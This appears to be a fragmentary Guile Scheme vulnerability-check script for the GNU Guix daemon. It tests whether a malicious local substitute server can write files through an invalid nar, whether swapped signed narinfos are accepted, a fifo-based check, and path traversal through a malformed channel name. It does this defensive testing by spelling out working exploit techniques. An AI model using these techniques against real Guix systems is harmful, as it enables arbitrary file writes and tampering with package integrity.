;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc ;; if necessary), get its signed narinfo, start an http server, connect to ;; store, set substitute urls, ask to substitute the chosen path. Have http ;; server serve the signed narinfo with the URLs replaced with its own. When ;; the nar is requested, serve the invalid nar. Once the substitution errors ;; out (hash doesn't match), check whether the chosen file now exists with the ;; specified contents. We're vulnerable if and only if it does.
(define target-substitutable-package ;; pick something obscure but in the main guix channel, so it is either not ;; currently valid or can probably be gc'ed. This is just to make the test ;; more reliable - in real exploitation, an attacker can sit around and wait ;; for any substitute request to be made, but here we need to provoke one in ;; a timely manner. cfunge)
(define substitute-servers (with-store store (substitute-urls store)))
;; Grafts can cause package->derivation to actually start substituting outputs ;; of the derivation being computed, which means we'd have to gc it afterward. (%graft? #f)
(define (package->path+narinfo store package) (define path (derivation->output-path (run-with-store store (lower-object package))))
(define (restore-file-vuln?) (define-values (target-path target-info) (call-with-values (lambda () (with-store store (package->path+narinfo store target-substitutable-package))) (lambda (path info) (unless info (error"can't find substitutable path to test 'restore-file' with\n")) (with-store store (when (valid-path? store path) (when (null? (delete-paths store (list path))) (error"can't delete substitutable path to test 'restore-file' with\n")))) (values path info))))
;; We can't delete target-file if it's owned by root, so overwrite it with ;; fresh, mostly-random contents each time, and check that the contents match. (define test-contents (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random100000000)))
(call-with-port (socket PF_INET SOCK_STREAM 0) (lambda (sock) (setsockopt sock SOL_SOCKET SO_REUSEADDR 1) (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0)) (listen sock 5) (let* ((port-number (sockaddr:port (getsockname sock))) (substitute-url (string-append"http://localhost:" (number->string port-number) "/")) (server-thread (call-with-new-thread (lambda () (run-server handle http `(#:socket ,sock)))))) (with-store store (set-build-options store #:substitute-urls (list substitute-url)) (guard (c ((store-error? c) ;; XXX doesn't actually cancel until something tries ;; connecting (cancel-thread server-thread) ;;(join-thread server-thread) (and (file-exists? target-file) (string=? (call-with-input-file target-file get-string-all) test-contents)))) (build-things store (list target-path)) ;; If the substitution actually completes without throwing then we ;; are most definitely vulnerable, but not just in 'restore-path'. (error"!!!substitution of invalid nar completed???!!!")))))))
;; 2. fetch-narinfos
;; Identify two substitutable paths P1 and P2. Get P1 and P2's signed ;; narinfos, start an http server, connect to store, set substitute urls, ask ;; whether P1 and P2 are substitutable. Have http server serve P2's narinfo ;; when asked for P1's, and P1's when asked for P2's. If vulnerable, it will ;; report that both are substitutable, if not, it will report that neither ;; are.
;; We need two substitutable paths because the daemon<-->'guix substitute ;; --query' interface verifies that the info it gets back is for a path that ;; was requested, so the "replacement" path has to also be queried for ;; substitutability at the same time.
(define (fetch-narinfos-vuln?) (define-values (hello-path hello-info) (with-store store (package->path+narinfo store hello)))
(define-values (sed-path sed-info) (with-store store (package->path+narinfo store sed)))
;; Create a fifo whose name is 32 nix-base32 characters followed by ;; ".narinfo", connect to store, set substitute urls to point to containing ;; directory, spawn a thread to block trying to open fifo write-only which ;; will subsequently set a flag and close the port, then ask whether some ;; store path with that hash is substitutable. It should fail in all cases. ;; Check whether the flag is set; if so, we're vulnerable, otherwise we're ;; not.
(with-store store (set-build-options store #:substitute-urls (list (string-append"file://" directory))) (guard (c ((store-error? c) (cancel-thread open-thread) (delete-file testfifo) ;; even though the file it is trying to open no longer ;; exists, the kernel doesn't give a result to open-thread ;; until someone ptraces it (or maybe sends a signal or ;; something). ;; (join-thread open-thread) (atomic-box-ref opened?))) (substitutable-paths store (list store-item)) (error"not supposed to get here!\n"))))))
;; 4. cache-key
;; Create a barebones git repository that is a valid channel, create a ;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to ;; a directory inside a temporary directory (so that 'cache-directory' points ;; to a subdirectory of it), call authenticate-channel, see if a file outside ;; of XDG_CACHE_HOME gets created.
;; If you don't have Internet access, edit this to point to a local repository ;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its ;; ancestors, and the keyring branch. (define guix-science-url "https://codeberg.org/guix-science/guix-science.git")
(define (create-test-channel directory channel-name) "Populate REPOSITORY with the necessary contents for it to be a valid channel with 2 commits, then return three values: a <channel> for it with name CHANNEL-NAME and an introduction to the first commit, the first commit, and the second commit." (define intro-commit "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")
(define end-commit ;; The commit following intro-commit "5a2d9baeda971df575c017669bca8eb8faa22ebd")
